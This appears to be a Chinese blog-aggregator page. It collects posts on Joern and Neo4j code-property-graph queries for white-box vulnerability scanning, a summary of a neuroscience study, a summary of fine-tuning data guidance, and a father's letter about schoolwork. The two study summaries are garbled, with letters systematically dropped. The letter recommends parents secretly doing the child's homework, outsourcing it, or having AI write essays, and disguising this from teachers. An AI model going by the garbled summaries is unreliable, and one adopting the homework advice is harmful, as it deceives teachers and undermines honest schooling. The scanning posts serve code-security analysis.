- 博客 轶哥博客 2023-08-24 23:50:35<>这篇文章《A tale ad relicale eural igature of lifea adverity i the adult rai》在《Nature Neurociece》上发表，讲述了一项纵向研究，研究人员通过对约170人的一生数据及其大脑结构的检视，发现逆境（如母亲怀孕期吸烟，受虐待等负面事件）会导致大脑广泛的形态变化，这种影响与生逆境类型和患者大脑特定区域有关。研究结果显示，这种逆境对大脑结构的影响是可持续且稳定的，逆境不仅改变了大脑结构，而且可能引起持续的焦虑症状，有助于预测谁更有可能患上精神障碍，这为精神健康的干预和治疗提供了新的理论依据。逆境不仅是社会和心理问题，更是生物学问题。我们需要对逆境的影响进行更多重视，寻求有效策略减轻其对个人和家庭的长期影响。同时，研究团队开源了用于预测临床神经科学的工具包，旨在推动此领域的进一步发展。
- 博客 LoRexxar's Blog 2023-08-24 16:03:49
前两篇文章主要讲了Joern相关技术的设计原理，以及CPG的实际表现
在研究Joern和Neo4j的过程中，我遇到了一个相当大的问题，就是由于我对OverflowDB包括scala和cypher语言都不熟。Joern和Neo4j分别支持这几种冷门语言，而相应的文档其实没有解决我的问题。
所以在继续研究Joern之前，先花时间简单记录一些Joern和Neo4j实用的语法和范例，给自己当个字典随时可以查阅。
Joern
节点获取
- cpg.method.name(‘xxx’)
- cpg.method(‘xxx’)
寻找对应名字的方法定义的位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20joern> cpg.method.name("getRequestBody").l
val res4: List[io.shiftleft.codepropertygraph.generated.nodes.Method] = List(
Method(
id = 15337L,
astParentFullName = "<empty>",
astParentType = "<empty>",
code = "public static String getRequestBody(HttpServletRequest request) throws IOException",
columnNumber = Some(value = 5),
columnNumberEnd = Some(value = 5),
filename = "src\\main\\java\\org\\joychou\\util\\WebUtils.java",
fullName = "org.joychou.util.WebUtils.getRequestBody:<unresolvedSignature>(1)",
hash = None,
isExternal = false,
lineNumber = Some(value = 13),
lineNumberEnd = Some(value = 16),
name = "getRequestBody",
order = 1,
signature = "<unresolvedSignature>(1)"
)
)- cpg.call.name(‘xxx’)
- cpg.call(‘xxx’)
寻找对应方法/函数调用的位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19joern> cpg.call("getRequestBody").take(1).l
val res7: List[io.shiftleft.codepropertygraph.generated.nodes.Call] = List(
Call(
id = 8485L,
argumentIndex = 2,
argumentName = None,
code = "getRequestBody(request)",
columnNumber = Some(value = 22),
dispatchType = "DYNAMIC_DISPATCH",
dynamicTypeHintFullName = ArraySeq(),
lineNumber = Some(value = 25),
methodFullName = "org.joychou.util.WebUtils.getRequestBody:<unresolvedSignature>(1)",
name = "getRequestBody",
order = 2,
possibleTypes = ArraySeq(),
signature = "<unresolvedSignature>(1)",
typeFullName = "java.lang.String"
)
)- cpg.annotation.name(“.*Mapping”)
- cpg.annotation(“.*Mapping”)
寻找对应名字注解的节点
1
2
3
4
5
6
7
8
9
10
11
12
13
14joern> cpg.annotation.name(".*Mapping").take(1).l
val res10: List[io.shiftleft.codepropertygraph.generated.nodes.Annotation] = List(
Annotation(
id = 2532L,
argumentIndex = -1,
argumentName = None,
code = "@RequestMapping(\"/safecode\")",
columnNumber = Some(value = 5),
fullName = "org.springframework.web.bind.annotation.RequestMapping",
lineNumber = Some(value = 20),
name = "RequestMapping",
order = 7
)
)在joern的节点你都可以非常简单的用点连接来获取对应节点连接的其他节点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20joern> cpg.annotation.name(".*Mapping").method.take(1).l
val res21: List[io.shiftleft.codepropertygraph.generated.nodes.Method] = List(
Method(
id = 2498L,
astParentFullName = "<empty>",
astParentType = "<empty>",
code = "public void crlf(HttpServletRequest request, HttpServletResponse response)",
columnNumber = Some(value = 5),
columnNumberEnd = Some(value = 5),
filename = "src\\main\\java\\org\\joychou\\controller\\CRLFInjection.java",
fullName = "org.joychou.controller.CRLFInjection.crlf:<unresolvedSignature>(2)",
hash = None,
isExternal = false,
lineNumber = Some(value = 20),
lineNumberEnd = Some(value = 28),
name = "crlf",
order = 1,
signature = "<unresolvedSignature>(2)"
)
)除了常规的method，annotation，call这种以外，比较常见的节点类型还有
https://docs.joern.io/cpgql/node-type-steps/
- cpg.configFile：配置文件
- cpg.identifier：标识符
- cpg.imports：引用
- cpg.methodReturn：方法的返回节点
- cpg.parameter：参数
当然除了上面的这些节点以外，还有一些调用关系的通用节点
- cpg.method.name(“getRequestBody”).caller
返回节点列表对应节点的被调用节点，也就是父节点
- cpg.method.name(“getRequestBody”).callee
返回节点列表对应节点的调用节点，也就是子节点
- cpg.method.name(“getRequestBody”).callIn
返回节点列表对应父节点的所有节点
过滤器
凡是节点连接的都是作为结果传到下一级的，如果是想筛选符合条件的节点则需要用where或者属性过滤器，比如说
- cpg.method.name(“getRequestBody”).l
查询名字为getRequestBody，这个name就是属性过滤器，向下一级返回的是符合属性过滤器的method节点
- cpg.method.where(_.name(“getRequestBody”)).l
或者用where也行，where语句内容会作为筛选条件影响返回的method内容
- cpg.method.name.l
1
2
3
4
5joern> cpg.method.name.l
val res36: List[String] = List(
"configure",
"main",
...如果不是使用()作为属性过滤器，那么返回内容就会直接变成name属性列表。
当然除了where以外，也支持很多种过滤器
where，whereNot：筛选返回为空或者非空的节点
- cpg.method.where(_.isExternal(false)).name.l
filter，filterNot：筛选返回为True或者False的节点
- cpg.method.filter(_.isExternal == false).name.l
and，or：多个过滤器之间的关系
返回结果处理
在处理结果返回的时候也有一些方式改变返回的内容。一般来说查询结果会是一个字典列表。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20joern> cpg.method.name("getRequestBody").l
val res64: List[io.shiftleft.codepropertygraph.generated.nodes.Method] = List(
Method(
id = 15337L,
astParentFullName = "<empty>",
astParentType = "<empty>",
code = "public static String getRequestBody(HttpServletRequest request) throws IOException",
columnNumber = Some(value = 5),
columnNumberEnd = Some(value = 5),
filename = "src\\main\\java\\org\\joychou\\util\\WebUtils.java",
fullName = "org.joychou.util.WebUtils.getRequestBody:<unresolvedSignature>(1)",
hash = None,
isExternal = false,
lineNumber = Some(value = 13),
lineNumberEnd = Some(value = 16),
name = "getRequestBody",
order = 1,
signature = "<unresolvedSignature>(1)"
)
)可以用map来改变返回的结构，这是一个类似于lambda的语法，会遍历列表的所有节点然后生成结果.
1
2
3
4
5
6
7
8
9joern> cpg.method.name("getRequestBody").map(n=>List(n.filename, n.lineNumber, n.fullName, n.code)).l
val res66: List[List[String | Option[Integer]]] = List(
List(
"src\\main\\java\\org\\joychou\\util\\WebUtils.java",
Some(value = 13),
"org.joychou.util.WebUtils.getRequestBody:<unresolvedSignature>(1)",
"public static String getRequestBody(HttpServletRequest request) throws IOException"
)
)除了map以外，另外还有两个实用的
- .clone，创建一个深复制，是在写比较复杂的脚本时候用到的
- .dedup，列表内容去重
- .sideEffect，按照格式要求执行但不改变原列表
重复获取
既然需要寻找两个节点之间的路径，那么就少不了重复，重复获取父级节点就是最简单的一种数据流分析。
- x.repeat(_.caller)(_.times(5))
重复获取caller共5次，如果找不到结果就会停止
- x.repeat(_.caller)(_.until(_.name(“foo”)))
重复调用 caller 查询，直到找到一个方法名为 foo 的方法，找不到就返回空。
- x.repeat(_.caller)(_.emit(_.isMethod).times(5))
emit的意思是会将查询的过程节点作为返回的列表中的一员。
上面这句语句就是指，重复5次获取当前节点的caller的节点属性，除此之外还会带上路径上所有满足isMethod的节点。
格式化
Joern对于返回结果提供了公式化的输出格式，而且如果不指定输出直接就没有返回
- toList，L，输出列表
- toJson，toJsonPretty，输出json或者格式化的json
- p，browse，输出可读性非常强的结果，如果是流会输出表格
- size，输出节点数量
- dump，dumpRaw，输出节点代码，只有节点才有这个属性
数据流分析
1
2def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter
def sink = cpg.call.name("exec")- reachableBy，是最简单的数据流分析函数，他返回的是从前面开始到后面，这个后面节点的位置。比如这里从sink开始查找，展示的就是source的位置
- reachableByFlows，展示两个节点之间的流，包括流上的每个节点
Neo4j
Neo4j的语法在我看来要比Joern的语法别扭多了，但有些问题其实在Neo4j会更容易得到答案，可视化的图结构在某些情况下会有非常明显的优势。
创建实体和关系
- 最简单的创建实体和关系（不带属性）
1
create (n:Person)-[:LOVES]->(m:Dog)
- 创建2个或多个属性的实体
1
create (z:ziduan{name:"f_name",table:"dianlibiao"}) return count(*)
- 创建带属性的实体和关系
1
create (n:Person{name:"李四"})-[:FEAR{level:1}]->(t:Tiger{type:"东北虎"})
- 对实体间创建关系
1
match (n:Person{name:""王五""}), (m:Person{name:"赵六"}) create (n)-[k:KNOW]->(m) return k
delete 删除实体或关系
- 先用match查找已有实体、关系， 再用delete删除关系
1
match (n:Person{name:"李四"})-[f:FEAR]->(t:Tiger) delete f
- 删除所有节点中的边关系
1
match(m)-[b:bian]-(n) delete b
- match查询实体，delete删除实体
1
match (n:Person{name:"李四"}) delete n
- 同时删除实体和关系
1
match(n) detach delete n
- 删除所有节点
1
match (n) delete n
- 删除所有节点并级联删除关系
1
match (n) detach delete n
- 删除Loc标签的所有节点和关系
1
MATCH (r:Loc) DETACH DELETE r
match查询节点和关系
1
2
3
4
5
6
7match
(node)-[relationship]->(node)
where
(node | relationship)
return
(node | relationship)
match (n：Persion)-[:HAS_PHONE]->(p:Phone) where n.name="姓名6" return n, p limit 10- n，代表Persion的别名
- :HAS_PHONE，代表前面Persion的关系
- ()，括号里的都是实体
- []，中括号里的都是关系
- -，代表无方向的关系
- ->，代表有方向的关系
- 查询所有实体节点
1
match(n) return n
- 根据id查找实体
1
2match (t:Tiger) where id(t)=1837 return t
match (t:Tiger) where id(t)=1837 delete t- 多度关系查询
1
match (n：Persion)-[:HAS_PHONE]->(p:Phone)-[:CALL]->(p1: Persion) where n.name=“姓名6” return n, p,p1 limit 10
- 利用关系查询， 不限定实体只限定关系的查询
1
match p=()-[c: CALL]->() return p limit 10
- 根据实体属性匹配正则查询， 使用通配符，通配符前要加~
1
match (n:USERS) where n.name=~'Jack.*' return n limit 10
- 包含查询 使用关键词contains
1
match (n:USERS) where n.name= contains 'J' return n limit 10
- 附带属性多实体查询， 逗号隔开
1
match (n:Person{name:"王五"}), (m:Person{name:"赵六"}) return n,m
- 查询多种label节点，并进行过滤
1
match(n) where n:标签1 or n:标签B return distinct n;
- distinct * 关键字表示返回节点不重复
- 返回非某几类标签，注意使用 not and 关键字
1
match(n) where not n:标签1 and not n:标签B return distinct n;
set 修改实体标签或属性
- 实体增加标签
1
match (t:Tiger) where id(t)=1837 set t:A return t
本质上是给实体增加一个标签，一个实体可以有多个标签
- 给实体增加属性
1
match (a:A) where id(t)=1837 set a.年龄=10 return a
- 给关系增加属性
1
match (n:Person)-[l:LOVE]->(:Person) set l.date="1990" return n, l
- 给所有节点增加标签
1
match(n) set n:table return n
搜索路径
- 单条最短路径
1
match (p1:Person{name:"姓名2"}),(p2:Person{name:"姓名10"}), p=shortestpath((p1)-[*..10]-(p2)) return p
shortestpath()用于查询最短路径 [..10] 表示关系中*不超过10度关系**
- 多条最短路径
1
match (p1:Person{name:"姓名2"}),(p2:Person{name:"姓名10"}), p=allshortestpaths((p1)-[*..10]-(p2)) return p
关系查询
- merge 有关系则返回，没有则创建关系
1
2
3match (n:Person{name:"王五"}), (m:Person{name:"赵六"}) merge (n)-[l:LOVE]->(m) return l
match (n),(m) where n=m merge (n)-[t:TABLE{table_name:n.table}]-(m) return t- optional match 可选择匹配，若匹配结果包含空，则用NULL占位
1
OPTIONAL MATCH (n)-[r]->(m) RETURN m
匹配结果集中如果有丢的部分，则会用null来补充
XXX with 字符串开头结尾匹配
- start with 匹配字符串的开头
1
2
3MATCH (n)
WHERE n.name STARTS WITH '张'
RETURN n- end with 匹配字符串的结尾
1
2
3MATCH (n)
WHERE n.name ENDS WITH '三'
RETURN n边对应的节点
- startNode(rel) 得到一条关系rel对应的起始节点
- endNode(rel) 得到一条关系rel对应的中止节点
- 博客 轶哥博客 2023-08-23 23:21:29<>The article rimarily dicue the tye ad quality of data required for Suervied Fie-Tuig (SFT). It cover the followig aect:
Ojective of Suervied Fie-Tuig : Ehacig erformace i ecific tak, domai adataility, ad the iterretaility ad cotrollaility of the model, with a overarchig goal to oot ytem route.Core Coideratio : Thee iclude the diverity of data, avoidig treatig SFT merely a data ulemetatio, aroriately icororatig few-hot learig ad COT data, emhaizig data quality over quatity i SFT, ad recogizig that icreaig data volume without diverity rig dimiihed retur.Data Quality Requiremet : Thee coideratio touch o the legth retrictio for quetio ad awer, the accuracy of awer, the electio of data aed o idutry requiremet, the diverity of eceary NLP ailitie, ad the cautio agait too much vertical domai data.Secific Examle : The article rovide oth good ad oor dataet examle to illutrate how to chooe ad evaluate data.QamA Sectio : Thi art exlai why icludig the aility to write code i SFT i eetial, emhaizig it imortace i imrovig reaoig ad tructured outut ailitie.
- 博客 吕小荣的网志 2023-08-23 08:00:00
沐沐，
在你幼儿园的时候，爸爸妈妈并没有采用刷题策略，而是尽量激发你的热爱学习的兴趣。
- 给你看 Youtube Kids 中的英文动画片
- 给你买显微镜，观察围观的世界
- 给你看英国 BBC 动画片，Number Blocks，理解数字的魅力
- 给你买了一堆书，并且允许你只看插画，不看文字。
但是到了一年级时，面对海量的学业压力，你过的非常艰辛，经常写作业到10点，我们再也没有时间出去跑步，骑车，游泳。
中国的举国体制都是应试教育，即使你想独善其身，环境也不允许，因为每个家长都在较劲。你的成绩不理想，我给你打气 “你也与别人一样聪慧，只是因为刷题太少”，但在成绩面前，还是会自我怀疑。
你现在8岁了，马上就要升二年级了，可以预见的是，将来还会面临庞大的学业压力。既然我们无法改变举国体制，那么就认清它，应对它。
第一个策略：虚头巴脑的作业，交给爸妈，帮你节省出时间。
应试教育的第一个谎言 “它假装自己是素质教育”。当前中国的学业压力已经把学生的课后时间压榨殆尽，但是教育局它还会布置一些劳动海报，音乐展览，美术海报的形式主义作业，进一步侵蚀学生的可支配时间。如果你认真应对，你自己最后一点可支配时间都被压榨，根本无法发展自己的兴趣。
形式主义的作业，爸妈帮你做
教育局会布置一些形式主义的作业，比如
- 祖国强大了，城市有什么变化？写一下心得体会。
- 出去旅游的心得体会。
- 制作劳动海报。
- 制作孝敬父母的海报，比如给父母洗脚，捶背。
你不感兴趣的作业，爸妈也帮你做
语文书中命题作文非常乏味，没有孩子会感兴趣，也不愿意写作。这种作业，爸妈也帮你做。
《暑假生活作业》设计不合理，爸妈帮你做
1年级的《暑假生活作业》却包含了3-4年级的生僻字，你看到满页的生字抓耳挠腮。
尽快教你学会使用 AI
AI 非常适合写形式主义的文章。
我的朋友们也提供了一些应付形式主义作业的妙计：
- 外包。在闲鱼上找个中学生，一下午把暑假作业做完。- by Chen Liang
- ChatGPT。对于各种红色爱国主义教育心得体会，可以用 AI 生成作文。对于画图作业，可以使用 Midjourney。- By Max Wang
- 网上直接下载作业，应付了事。 - by Sarah Xia
注意: 在应付学校形式主义的作业时，也要尊重老师的感受，不要让老师觉得我们的家庭特立独行，做作。
- 可以用打印机打印，让沐沐抄写，这样老师就无法发觉我们在应付教育局形式主义的作业。
- 多给班级送一些纸巾，抽纸，铅笔，和班主任建立良好的关系，保证沟通顺畅。
第二个策略，直击核心——主课。
去掉各种虚头巴脑的作业后，你会有很多时间来读课文，写字，练字，这些既无聊又艰辛，但是会帮你在短时间内积攒大量知识，必须要做。
语文
- 每天写一篇不限定主题的作文，可以写游戏教程，喜爱的玩具，校内趣闻。
- 每天选一本喜欢的书，读 5 页，读出声。
数学
-
1-3年纪：每天做一页数学卷子。
- 不求快，只求算对
- 你可以慢慢体会，建模每道题，熟能生巧。
高年级：多刷题来应付不同题型。
数学需要自己慢慢揣摩，所以做数学时，我以鼓励为主，尽量不指导。
英语
学习语言，一定要频繁使用。这对于大部分中国学生，这是一道迈不过去的坎。
公立小学的英语课程会过度强调记忆：
- 单词死记硬背，最终语言学习沦为“记了忘，忘了记”的恶性循环。
- 即使记牢了，也不会使用。
- 使用公式的方法来记忆语法。
真正掌握一个单词的标准是什么？
在 20 个不同语境中灵活使用某个单词，才是真正的理解和掌握。
但对于你，情况略哟不同。你已经可以流畅的使用口语与外国人沟通。你要警惕的并不是 “使用不足”，而是片面以口语能力来高评自己的英语水平，并沾沾自喜，止步不前。
在保证英语听说训练(使用语言)的前提下，唯有坚持英文阅读可以带你进入下一个境界。每日英语的学习时间要这样分配：
-
70% 分配给英语分级阅读，内容既要覆盖虚构类文学，也要覆盖说明文，议论文，自然科学文章，不要挑食。难度要适中，每页不要超过 5 个生词。
-
小学一年级到三年级，30% 分配给自然拼读法。比较合理的教学时间：从小学一年级到三年级。
-
小学4年级之前，不主动学习语法，而是用“海量的阅读量”和“使用英语”来自然形成语法感觉（语感）。
英语成绩如果超过同学，不要窃喜。继续按照自己的进度学习，早早的达到高中英语水平，可以让你在高中节省出时间修补自己的弱项（或者能偷懒多睡会觉）。
如何判断自己的英文水平已经达到高三水平？以听懂和阅读原版《哈利波特》为里程碑。
第三个策略，平衡新学期和假期的学业压力。
这是大部分学生的学习强度，假期放飞自我，开学累个半死。
要平衡工作量，暑假要有学习的时间，开学要有玩的时间。
每年寒暑假时，提前预习下一学期的主课，这样开学后可以跟上学校的教学节奏。不至于在每个夜晚熬夜。快速做完作业后，可以去踢球，可以去骑车，可以去游泳。
第四个策略，平衡工作日和周末的学业压力。
这是目前我们工作日时的学习强度，工作日的学业压力非常重。
你酷爱游泳。我们可以把一些作业拿到周六周日去完成，工作日就可以挤出 16:00 - 18:00 时间段，一起去游泳了。学校管理严格，情绪处于紧绷的状态，游泳可以帮你保持良好的情绪，我双手赞成！
以下是可以拿到周末的作业：
- 数学口算本
- 语文的课后练习
- To be determined.
第五个策略，要留出时间发展兴趣，充分个性化教育。
没有人喜欢刷题，应试教育回答了 “如何学习?(How to learn)”这个问题，但是并未解答 “为什么学习? (Why to learn?)”这个问题。
爸爸妈妈会和你一起探索，通过你喜欢的个性化教育来学以致用，让你能回答 “为什么学习? (Why to learn?)”。
每个人都有好奇心，学习，是因为它有趣。
-
在运动方面，你喜欢骑行。我们经常骑车拉练，一口气20公里。
-
在娱乐方面，你喜欢玩游戏。爸妈帮你挑选了制作精良的游戏《植物大战僵尸》和《Minecraft》。
为了保护你的眼睛，爸妈只允许你每天玩半个小时 《Minecraft》，但是你的浓厚兴趣可以持续几年，爸妈以此展开，来达到素质教育的目的。此外我做了手脚，我给你买的游戏都是英文原版，你只能硬着头皮啃英文。
提高中文写作能力
你对语文书的命题作文不感兴趣，你的兴趣点是《植物大战僵尸》《Minecraft》，那我们就写日记，写游戏攻略，写游戏角色的百科。这个暑假，你自己编纂了一本故事集 《植物们的暑假生活》，介绍了小豌豆，小玉米的暑假生活，就是很好的写作练习。
提高英语识字量
我给你购买了英文原版的游戏攻略《The Minecraft Collection》，里面单词量巨大，你每天都在啃硬骨头。
我也给你购买了英文电子书 Epic! ，并且收藏了所有 《Minecraft》的书籍，你自己每天也在啃单词。
提高英语听力
每天看 Youtube Kids 半个小时，看国外玩家的游戏攻略，训练英语听力。
提高英语口语
爸妈帮你找外教，一起读英文游戏攻略。
找国外的高中生，一起用英语讨论 《Minecraft》如何通关。
以前我需要强迫你在家说英语，你非常不乐意。但现在提到 《Minecraft》，你就心甘情愿在家里用英语。
提高编程能力
-
爸爸带你尝试了 Tynker，Scratch，CodeSpark, 最终你的兴趣点是 Tynker，那我们就用 Tynker 来练习编程能力。
-
用游戏 《Minecraft》中的 Command Block 来练习编程能力
我小的时候家里买不起电脑，所以计算机知识都是成年后赚钱后自学的。如果你也喜欢编程的话，咱们俩可以结对学习算法，挑战全国青少年信息学奥林匹克竞赛 (NOI)。如果你对计算机不感兴趣就算了，我也不想强求你。
我的大体计划：
1-3年级，你的数学还比较基础，我们可以先学习简单的逻辑。
4-5年级，可以开始学数据结构，然后依次拓展到算法，线性代数，图论。
…（还没想好这个美梦该如何进行）
自由意志与神的护理
从小到大，你的兴趣在迁徙，幼儿园时你喜欢 《Octonauts》，然后是《植物大战僵尸英文版》，然后是现在的《Minecraft》。我不知道你会喜欢游戏多久，或许会变。游戏都是工具，最终达到了教育的目的。
你目前所有的选择，看似是自己的主观意志，实在在爸妈的保护之中。
- 你玩的游戏是爸妈精挑细选过的游戏。
- 你只能用 Youtube Kids 看动画片，并且动画片是全英文的。（或许将来会给你看一些法语）。
- 你的游戏也都是英文版。
在教育你的时候，我也会想到天父对我的教育。我是天父的孩子，应该也在天父的护理之中吧。
参考资料
感谢
感谢小梅的审阅和意见。
感谢李燕老师对英文学科的指导。
感谢 Sarah Xia 的反馈。
感谢赵彦子的批判性意见。
- 博客 LoRexxar's Blog 2023-08-22 16:40:14
在上篇文章里，我们从Joern入手大致介绍了CPG(Code Property Graph)的设计理念和简单逻辑
但实际上来说，如果想要更深入的了解Joern，CPG和图数据库是绕不开的一个话题。CPG作为一种代码属性图，就必须寻找一种图数据库作为载体，就像我们常用的数据和SQL数据库的关系一样。
旧版本的Joern使用的Gremlin，但后来的开发中换成了OverflowDB，在joern中也完全支持使用OverflowDB的查询语法。
但属性图本身没有什么特异性，比较常见的比如Neo4J，OrientDB或者JanesGraph都支持CPG的表现形式。
但，在这之前，我们首先需要知道，为什么是图？
为什么是图？
在上篇文章中，我在讲了CPG的设计思路时曾经提到过一些相关的内容。
如果说CFG(control flow graphs)相比AST来说最大的特点是带有明确数据流向的流向，在数据流分析可能更有优势。
那么CPG相比CFG来说有一个很大的特点就是信息量大，而图最大的特点也在于，就是可以容纳信息量巨大的内容。
假设我们有这样一段代码
1
2
3
4
5a = new A()
b = a.b
c.a = b.a
d.a = c
c.b = d.c这里简单的几行代码，其实展示了相当复杂的依赖链，abcd几个变量中有着复杂的互相指向关系，如果用文字来表示abcd之间的关系我们可能需要拆分很多部分。
1
2
3
4a -> A()
b -> A().b
c.a -> A().b.a
c.b -> ....我甚至很难用文字的方式表达出他们之间的关系，而图在这样的场景下就变得很有优势。
当然这只是一个粗浅的例子，但已经很明显的能感觉出来图和文字之间的差距了，图关系可以很轻松的表达出文字很难表达出来的信息量。
Joern与图
Joern用了CPG来储存代码的所有节点关系和属性数据，由于CPG的信息量大，所以Joern甚至提供了官方的生成AST、CFG等其他结构的接口，对于C/C++甚至支持多种自定义的结构。
- Abstract Syntax Trees (AST)
- Control Flow Graphs (CFG)
- Control Dependence Graphs (CDG)
- Data Dependence Graphs (DDG)
- Program Dependence graphs (PDG)
- Code Property Graphs (CPG14)
- Entire graph, i.e. convert to a different graph format (ALL)
在Joern的命令行你可以直接使用相应的命令生成对应的格式
1
2
3
4cpg.method($name).dotAst.l // output AST in dot format
cpg.method($name).dotCfg.l // output CFG in dot format
...
cpg.method($name).dotCpg14.l // output CPG'14 in dot format
有个很有意思的是，如果你的电脑装了Graphviz，Joern还可以调用Graphviz来绘图，虽然生成的图很难看。
安装Graphviz之后我们可以通过命令来绘图
1
2
3
4cpg.method($name).plotDotAst // plot AST
cpg.method($name).plotDotCfg // plot CFG
...
cpg.method($name).plotDotCpg14 // plot CPG'14
说实话，不太实用，但是很方便
Neo4J
相比Graphviz这种仅仅用来临时展示图的应用来说，Neo4J则是标准而且非常成熟的图数据库，不但性能强，而且还实用。
你可以在官网下载免费的neo4j，其中包括服务端和客户端版本，服务端版本启动后会默认跑到7474端口上。
Neo4j使用的查询语言叫做Cypher，这是一种声明式的图查询语言，我个人觉得Cypher其实算是比较反人类的一种语言，具体的语法可以看对应的文档。
简单来讲Cypher中对应SQL的语句关系有几个比较特别的，首先就是MATCH和where。
1
2
3
4# SQL
select Person from user where born = 'beijing'
# Cypher
MATCH (a:Person)-[:BORN]->(b:Location {city:'beijing'}) RETURN a,bMATCH和where在两种查询语句中是类似的功能，其中的区别就是MATCH匹配的是图中节点之间的关系。Cypher语法比较强调节点之间的关系，比如-就是无方向关系，->就是有方向关系。
1
2
3
4
5
6match
(node)-[relationship]->(node)
where
（node | relationship)
return
(node | relationship)其他的比如创建节点、删除节点、创建关系、搜索匹配的节点以及关系等等就不赘述了，算是比较符合理解的语言逻辑。
而相对于普通的数据库来说，图数据库有着可能是一种优势的特性，就是可以直接通过Neo4j的浏览器直接操作图内容以及结构。
直接用鼠标点击各个节点查看对应的属性以及它们之间的关系，并且可以直接拖动他们。
点击节点下面的按钮，可以直接查看到节点连接到的其他节点，很方便也很直观。
Joern与Neo4J
前面说了，Joern使用了自己做的OverflowDBl来作为图数据库存储CPG，但CPG本身没有什么特异性，也就意味着他可以在任意一种图数据库上导入。
而Joern本身是自带了这个功能的，就是joern-export。它支持你导出Joern的CPG到neo4j , graphml, graphson 和 graphviz dot。
1
2
3
4./joern-export --repr=all --format=neo4jcsv
./joern-export --repr=all --format=graphml
./joern-export --repr=all --format=graphson
./joern-export --repr=all --format=dot要使用joern-export导出数据的话，需要指定CPG的位置，这个东西会存在Joern目录下的workspace当中，并且需要指定output，默认是./out。
然后我们可以想办法把这些csv文件导入到Neo4j当中。当然你可以用一些自己的方式导入，但joern的这个图还挺麻烦的，主要是neo4j导入复杂结构数据需要指定好各种csv文件的关联。
但joern当然也给出了导入的办法，在生成文件的时候会给出一个导入命令的范例，照着范例就可以搞定了。
首先joern导入数据是有限制的，只能导入import目录下的文件，这个import文件一般会在对应链接的server目录下面，如果你使用的是neo4j的desltop浏览器，那么你可以直接打开对应的import目录，并把文件复制过去。
除了文件以外，还有就是这个/bin/cypher-shell的位置，这个脚本就在对应链接目录的bin下
然后构造对应的find命令生成执行导入即可，其实它的原理也比较简单，就是依次执行*_cypher.csv文件中的命令，然后导入header和data。
最终导入的数据就是这样的
用cypher在Neo4J上查询漏洞
当我们把CPG导入到Neo4J上之后，理论上来说我们可以用cypher来完成我们在Joern中做的所有工作。
这里还是拿上篇文章中用到的RCE代码来举例子。
对应Joern的语句为
1
2
3def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter
def sink = cpg.call.name("exec")首先匹配注解节点满足.*Mapping的
1
MATCH (n:ANNOTATION) where n.NAME=~".*Mapping" RETURN n LIMIT 25
然后找这些对应节点关联的方法
1
MATCH (m:METHOD)-[:AST]->(n:ANNOTATION) where n.NAME=~".*Mapping" RETURN n LIMIT 25
然后找一下对应调用exec方法的节点
1
MATCH (n:CALL) where n.NAME="exec" RETURN n LIMIT 25
然后我们把两个节点连接起来，并查找最短路径，这里的[*..10]表示最长不超过10个关系
1
MATCH (p1:METHOD)-[:AST]->(n:ANNOTATION),(p2:CALL),p=shortestpath((p1)-[*..10]-(p2)) where n.NAME=~".*Mapping" and p2.NAME="exec" RETURN p LIMIT 25
这里范例算是比较简单的，所以用这个还算比较简单的语句就可以查询到结果，正好对应漏洞利用链。
- 博客 LoRexxar's Blog 2023-08-21 14:25:23
从人们开始探索代码扫描这件事情开始，市面上就在不断地诞生着各种各样的工具，经过了几年的演变以及发展，对于白盒代码扫描这件事情来说，大家的观念也在逐渐趋同。
无论是基于IR(Intermediate Representation)、AST(abstract syntax trees)、CFG(control flow graphs)、PFG(program dependence graphs)，又或者是其他的什么中间态。白盒代码扫描工具都在这个基础上做模拟执行、污点传播等等方案来分析挖掘漏洞。
而随着CodeQL的概念逐渐被大家接受之后，现在的代码扫描工具越来越趋近于将底层和上层拆解开来，由底层的引擎将代码统一化处理，然后使用者在上层通过编写规则或者语句就可以。主流的CodeQL、Checkmarx其实都使用了类似的方案。今天要说的Joern也是如此。
今天介绍的Joern有什么特殊的呢？
首先CodeQL本身不开源只能使用，偏偏微软还做了商业化限制，以微软喜欢秋后算账的风格来讲，实在无法确定深入研究CodeQL是否值得。
除此之外，市面上的很多白盒扫描工具其实是非静态的，扫描的时候不但需要配置复杂的运行环境，而且本身可能依赖编译过程，无论是自己使用还是商业化这都非常不实用。
个人认为白盒工具有着几个很重要的点
- 静态扫描，静态扫描的优势和便利程度才是白盒比较优势的一环，毕竟白盒不是灰盒，如果对编译环境和运行环境有依赖那为什么不使用更准确的灰盒
- 扫描速度，虽然这点是很多商业化白盒软件的通病，但无论在哪家公司的DevSecOps中，最终目标肯定是把安全检测加载上线前，那么无论是1分钟、3分钟还是5分钟，扫描速度会是第一优先级，比如CheckMarx动辄几小时的扫描肯定是不现实的
- 可diy性，当然对于大部分人来说这点其实并不是很重要，但能对引擎进行深入改造会是优化开发非常重要的一点，joern是开源的，在这方面他有很大的优势
- 可拓展性，市面上大部分的白盒扫描工具动辄支持几十种语言，比如说snoarqube这种，但实际上大部分拓展语言只支持非常简单的正则拓展，我一直觉得现代白盒软件很重要的一条路就是走通用性，这也是比较有名的一些白盒工具都选择的路，在白盒扫描过程中会刻意将统一结构拆分出去再做分析扫描。
今天介绍的joern的其实就是这类工具的一员，他最大的特点其实就是开源。
joern
joern是ShiftLeft 开发的一款基于CPG制作的白盒静态扫描工具，诞生的时间不算早应该就是2021年（具体记不清了）
和其他工具不同，他引用了一种叫做CPG(Code Property Graph)的中间结构作为处理结构，是由AST + CFG + PDG叠加而来，最终生成一张图，然后在图的基础上做分析和检测。和传统的基于单一AST或者CFG的工具相比，图结构一方面能承载更多的代码信息，另一方面，CPG也让后续的分析程序更具有通用性。
这就是一张很经典的范例图，用来展示CPG和其他几种的区别。
另一方面，在用户使用的Joern命令行上，Joern构建了一套基于OverflowDb的查询语言以供使用者可以在不需要知晓底层原理的基础上查询分析。
至于OverflowDB具体是什么，不是很关键，我们只需要了解joern就行了。
什么是CPG？
关于CPG可以看一篇官方写的基础的理论文章。
以下部分内容大量取材于上面这篇文章。
还有就是比较重要的joern的CPG标准文档
在介绍CPG之前，首先要先对图结构有个基础的概念，无论是图数据库又或者是图结构其实说白了就是把节点以及节点之间的关系以图的方式展示出来。就比如下图表明A和B就是朋友，B和C也是朋友。
